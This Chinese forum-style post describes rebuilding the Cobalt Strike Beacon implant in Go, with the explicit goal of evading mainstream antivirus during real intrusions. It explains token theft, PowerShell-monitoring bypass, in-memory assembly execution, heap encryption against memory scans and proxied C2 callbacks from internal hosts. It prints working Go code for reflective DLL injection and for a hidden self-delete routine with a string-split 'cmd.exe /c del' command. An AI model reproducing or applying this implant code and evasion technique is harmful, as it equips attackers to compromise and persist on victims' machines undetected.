跨平台重构CobaltStrike的Beacon并行为对主流杀软免杀

背景

上个月的时候朋友发给了我 geacon 这个项目,该项目使用Golang实现了Beacon的部分功能,我俩觉得这个项目还挺有意思的,就基于这个项目继续开发了,在适配Beacon大部分功能的同时进行了免杀层面上的修改。

我实现了一版适配4.1+版本的 geacon_pro ,他实现了一版适配4.0版本的 geacon_plus ,大体功能相同,部分实现细节不一样。我们后续也会继续维护这个项目,同时把免杀的技术集成进来。

具体的注意事项师傅们可以移步项目,CobaltStrike底层的协议鸡哥以及很多师傅已经做了解析,这里以实现的细节为主,大概说一下我们重构时候的思路以及部分功能的实现细节。

整体的思路

重构的时候需要考虑以下几个点:

1、CobaltStrike的通信协议:

通信说白了就是按照某种协议进行发包与解析,与传统分析底层协议不同,重构的时候还需要分析每条指令是做什么的、以及服务端下发的内容是什么、我们应该用什么方式去解析内容。

2、跨平台:

由于是跨平台重构的,需要综合考虑各平台,尽量可跨平台的方法或者库,这样可以避免重复的功能实现。

3、功能与行为免杀的实现:

虽说是重构,但是很多地方原封不动照搬CobaltStrike的实现并不是很好,而且实现的语言也不一样。同时需要结合实际来保证功能与行为的免杀性。

4、稳定性:

重构的一个难点就是如何保证木马的稳定性,因为实战中木马的意外退出是不可被容忍的,不过这个就需要很多次的测试了。

5、体积:

go有一个很大的问题就是体积有点大,因此在重构的时候需要尽可能少地调用庞大、冗杂的库。

命令的执行

shell、run、execute是CobaltStrike最重要的功能之一,区别在于shell调用cmd,run调用执行的程序本身,而execute无回显。

geacon基于go的os/exec实现了跨平台的shell,但是我们在开发的时候发现golang的底层库并不是很稳定,在windows平台下执行部分命令的时候会突然崩溃。同时考虑到os/exec库的cmd不支持Token的使用,无法实现令牌的窃取,因此我们将命令执行的实现更改为了windows api CreateProcess。首先会判断当前是否有窃取/制作的Token,若有的话则用CreateProcessWithTokenW以Token权限来执行,没有的话则用CreateProcess执行。

shell和run在执行之后会用管道将结果回传给geacon_pro,而execute不会。

Linux和Mac平台下就用/bin/bash来执行。

powershell

powershell在Beacon原生的实现中是base64编码执行的,以whoami为例:

powershell -nop -exec bypass -EncodedCommand dwBoAG8AYQBtAGkA

但是熟悉渗透的师傅都知道杀软对powershell命令的执行监控的相当严,很多命令都需要进行混淆来绕过,CobaltStrike提供了powerpick这个命令来内存中免杀执行powershell命令,我这边提供了一个小工具 powershell-bypass 并以execute-assembly执行达成免杀执行powershell命令的作用。

免杀的思路很简单其实,很久之前就有了,用C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation目录下面的System.Management.Automation.dll执行底层api来绕过杀软对powershell的监控。

powershell-import

Beacon中有一个导入powershell模块的功能,将powershell后渗透利用框架导入到内存中方便后续的利用。

我们的实现思路大致与Beacon类似,在目标主机上开一个端口放上module的内容,在下次要执行powershell命令的时候下载该端口的module内容并进行不落地的执行,不落地的执行可以规避部分杀软的查杀。

但是导入模块我记得在部分windows系统中是默认不开启的,需要以管理员权限允许模块的导入。

execute-assembly

execute-assembly是在内存中执行C#程序,用不落地执行来绕过杀软的查杀,在实战中很常用。

execute-assembly在原生CobaltStrike中的实现如下:

服务端下发的主体内容为patch过的用于开环境的反射型dll、.NET程序、执行的参数

1、用CreateProcess拉起来一个rundll32.exe(默认)进程

2、服务端下发patch之后的反射型dll,Beacon将该反射型dll注入到1中的进程中并执行,该dll的作用是开.NET的环境。

3、Beacon之后把.NET程序注到1的进程中并执行。

考虑到过于麻烦、某些杀软会查杀远程线程注入的操作、并且容易拿不到执行的回显,我们没采用Beacon的实现,而是用 该项目 实现了go的原生execute-assembly。

原生反射型dll注入

反射型dll注入是很流行的一个后渗透手段,通过找到ReflectiveLoader函数的位置并执行dll达成不落地执行,师傅们有兴趣的话可以去看看这个项目 ,是反射型dll注入技术的起源项目。

基于该项目写的反射型dll是没有被patch的,需要手动找ReflectiveLoader函数的位置,而CobaltStrike原生的dll是被patch过的,可以直接当成shellcode来执行。

解包cobaltstrike.jar包后可发现在sleeve目录下有很多dll文件,并根据目标是x64或者x86来注入对应的反射型dll。

这些dll文件是加密了的,网上有解密的脚本。

CobaltStrike为了追求稳定性,很多操作都是采用的fork&&run,即先用CreateProcess新建一个进程(默认是rundll32.exe),之后把shellcode/patch过后的反射型dll注入到该进程中。
以screenshot.dll为例,里面包含了屏幕截图与管道回传结果的代码。服务端对其解密后下发到Beacon,Beacon用线程注入将其注入到拉起的进程中来执行。然后服务端下发一条命令让Beacon通过管道读取执行的结果,之后将读取到的结果回传给服务端。

不过很多杀软对fork&&run这种远程注入到其他进程的行为进行了监控,以360核晶为例会报远程线程注入的可疑行为。

为了规避这个被监控的点,我们尝试用注入自己的方式来执行shellcode/patch之后的反射型dll,然后通过管道来异步读取结果,发现稳定性也还不错。

我们发现所有原生反射型dll都有一个特点,就是会在最后调用ExitProcess来终止fork出来的进程。

如果注入自己的话肯定不能用ExitProcess关掉geacon_pro进程,因此我们做了一个简单的patch,将服务端下发的反射型dll中的ExitProcess更换为ExitThread\x00仅让其退出当前的线程。

进程注入

进程注入有shinject、dllinject两种。

区别在shinject注入shellcode到其他的进程中,而dllinject注入反射型dll到其他的进程中。

在实现的时候我们发现这两种命令的下发格式是一样的,因此我们对下发的内容进行判断,如果存在有reflectiveloader字样就认为是dllinject注入,反之是shinject注入。但由于目前dllinject其他的进程并不是很稳定,暂时只支持注入到自身。

与上文所说的原生反射型dll不同,好像CobaltStrike并不会patch用户上传的反射型dll,即dllinject和cna中自定义反射型dll是需要我们手动patch的,因此我们在处理非原生反射型dll的时候先找到ReflectiveLoader的位置,然后注入,同时还有考虑有参数的情况,这里用CreateThread将参数传入:

func DllInjectSelf(params []byte, b []byte) ([]byte, error) {
    p, err := pe.NewFile(bytes.NewReader(b))
    if err != nil {
        return nil, err
    }

    ex, e := p.Exports()
    if e != nil {
        return nil, err
    }

    var RDIOffset uintptr
    for _, exp := range ex {
        if strings.Contains(strings.ToLower(exp.Name), "reflectiveloader") {
            RDIOffset = uintptr(rvaToOffset(p, exp.VirtualAddress))
        }
    }

    process, err := windows.GetCurrentProcess()
    if err != nil {
        return nil, err
    }

    if string(params) == "\x00" {
        ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)),
            windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
        if ba == 0 {
            fmt.Println("VirtualAlloc Failed")
            return nil, errors.New("VirtualAlloc Failed")
        }
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }

        _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }

        writeMem(ba, b)

        Ldr := ba + RDIOffset

        oldProtect := windows.PAGE_READWRITE
        _, _, err = VirtualProtect.Call(ba, uintptr(len(b)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }

        thread, _, err := CreateThread.Call(0, 0, Ldr, 0, 0, 0)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }

        _, _, err = WaitForSingleObject.Call(thread, 1000)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }

        return []byte("DllInject success"), nil

    }

    ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)+len(params)),
        windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if ba == 0 {
        fmt.Println("VirtualAlloc Failed")
        return nil, errors.New("VirtualAlloc Failed")
    }
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    _, _, err = RtlCopyMemory.Call(ba+uintptr(len(b)), (uintptr)(unsafe.Pointer(&params[0])), uintptr(len(params)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    writeMem(ba, b)

    Ldr := ba + RDIOffset

    oldProtect := windows.PAGE_READWRITE
    _, _, err = VirtualProtect.Call(ba, uintptr(len(b)+len(params)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    thread, _, err := CreateThread.Call(0, 0, Ldr, uintptr(unsafe.Pointer(&params[0])), 0, 0)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    _, _, err = WaitForSingleObject.Call(thread, 1000)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }

    return []byte("DllInject success"), nil
}

这里要感谢timwhitez师傅及该项目的帮助!

令牌

Token的部分实现了窃取、制作、还原。

main.go中会保存一个uintptr类型的Token,如果是默认令牌的话是0,如果成功窃取了令牌则将Token赋为该令牌。窃取之后会用windows api ImpersonateLoggedOnUser模拟上下文的令牌权限,此时执行getuid的话权限已经改变,不过由于上下文的权限不会影响其他的进程,因此shell、run、execute等需要创建其他进程的功能需要用CreateProcessWithTokenW。

上线内网不出网的主机

考虑到渗透中常常存在着内网主机上线的情况,即边缘主机出网,内网主机不出网的情况。由于go的体积限制,目前我们未实现代理转发的功能,但是可以通过设置config.go中的proxy参数,通过边缘主机的代理进行木马的上线。即如果在边缘主机的8080端口开了个http代理,那么在config.go中设置ProxyOn为true,Proxy为http://ip:8080即可令内网的木马上线我们的C2服务器。

堆内存加密

Beacon的实现中有堆内存加密这个功能,即在sleep之前将内存中数据加密,sleep之后再解开,可以避免杀软对内存的扫描。

堆内存加密的方法实现参考了该文章。即在sleep之前先将除主线程之外的线程挂起,之后遍历堆对堆内存进行加密。sleep结束后解密并将线程恢复。不过该功能较为不稳定,有时在进行堆遍历的时候会突然卡住或者直接退出,并且考虑到后台可能会有keylogger或portscan这种的持久任务,将线程全部挂起有些不合适,如果有师傅有好的想法欢迎来讨论。同时我不太理解为什么go的time.Sleep函数在其他线程都挂起之后调用会一直沉睡,而调用windows.SleepEx就不会有问题,还望师傅们解答。我个人感觉go部分原生库的实现仍存在部分的bug。

字符集

CobaltStrike在服务端与Beacon通信的时候协商了字符集类型,如windows默认的是GBK,linux则是UTF-8。但是用go重构会有一个比较麻烦的问题,go对字符串的处理默认是UTF-8,但有时windows通信时服务端下发的命令中包含中文,由于是GBK无法进行正常的处理。因此我们做了一个统一,各平台默认的协商字符集均为UTF-8,这样避免了冗杂的处理环节,仅在回传的时候对执行的结果进行了判断,如果是GBK就先转换成UTF-8再回传:

func CodepageToUTF8(b []byte) ([]byte, error) {
    if !utf8.Valid(b) {
        reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
        d, e := ioutil.ReadAll(reader)
        if e != nil {
            return nil, e
        }
        return d, nil
    }
    return b, nil
}
func DataProcess(callbackType int, b []byte) {
    result := b
    var err error
    if callbackType == 0 {
        result, err = CodepageToUTF8(b)
        if err != nil {
            ErrorProcess(err)
        }
    }
    finalPaket := MakePacket(callbackType, result)
    _, err = PushResult(finalPaket)
    if err != nil {
        ErrorProcess(err)
    }
}

这里我们对callbackType进行了限制,因为有部分命令如ps、ls会对结果进行padding,这样可能会让utf8.Valid()把UTF-8的结果认为是GBK而进行错误的字符集转换。

自删除

CobaltStrike貌似没有做自删除的功能,我们添加了不同平台下的自删除功能。

windows平台下由于进程未退出的时候是无法自己删除自己的,常用的方法有bat与远程线程注入。

远程线程注入的缺点前面也提到了容易被杀软监控,因此我们这里简化了一下bat自删除,用CreateProcess新起了一个进程,在原进程执行完之后删除它:

func DeleteSelf() ([]byte, error) {
    var sI windows.StartupInfo
    var pI windows.ProcessInformation
    sI.ShowWindow = windows.SW_HIDE

    filename, err := os.Executable()
    if err != nil {
        return nil, err
    }
    program, _ := syscall.UTF16PtrFromString("c" + "m" + "d" + "." + "e" + "x" + "e" + " /c" + " d" + "e" + "l " + filename)
    err = windows.CreateProcess(
        nil,
        program,
        nil,
        nil,
        true,
        windows.CREATE_NO_WINDOW,
        nil,
        nil,
        &sI,
        &pI)
    if err != nil {
        return nil, errors.New("could not delete " + filename + " " + err.Error())
    }
    err = windows.SetPriorityClass(pI.Process, windows.IDLE_PRIORITY_CLASS)
    if err != nil {
        return nil, err
    }
    return []byte("success delete"), nil

}

C2profile

我们实现了大部分流量侧的设置以及部分主机侧的设置。

C2profile的实现其实并不难,难点在于完备的测试,因为每种设置都可能会有很多种排列组合的方式。

流量检测的规避

目前还没有做流量的混淆,但是有两个小思路吧(也不知道对不对):

1、hook服务端cobaltstrike.jar包,让使用者可以自己来定义编码/加密的算法(类似于冰蝎4.0)而不局限于C2profile里面的几种算法。

2、无规律随机发送正常的流量,扰乱对时序层面上流量特征的检测。

如果有师傅有想法及建议,欢迎来讨论!

点击收藏 | 3 关注 | 2
登录 后跟帖